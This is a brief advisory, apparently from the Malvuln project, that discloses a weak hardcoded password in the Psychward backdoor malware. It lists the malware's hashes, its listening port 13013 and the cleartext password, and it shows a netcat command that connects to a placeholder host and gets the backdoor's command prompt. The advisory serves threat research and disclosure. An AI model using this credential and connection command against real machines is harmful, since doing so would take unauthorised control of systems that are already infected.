Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

Backdoor.Win32.Psychward.03.a malware suffers from a weak hardcoded password vulnerability.

MD5 | dd0e215da36570296702bee6cfc383a8

Discovery / credits: Malvuln - (c) 2022
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Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 13013. Authentication is required, however the password "m4sturb4t10n" is weak and hardcoded in cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 4b9a42ca1e65cf0a7febbe18f397ef24
Vuln ID: MVID-2022-0558
Dropped files: winvxd.exe
Disclosure: 04/18/2022

C:\>nc64.exe x.x.x.x 13013
pwd m4sturb4t10n m4sturb4t10n
psychward revised 0.3, awaiting your command

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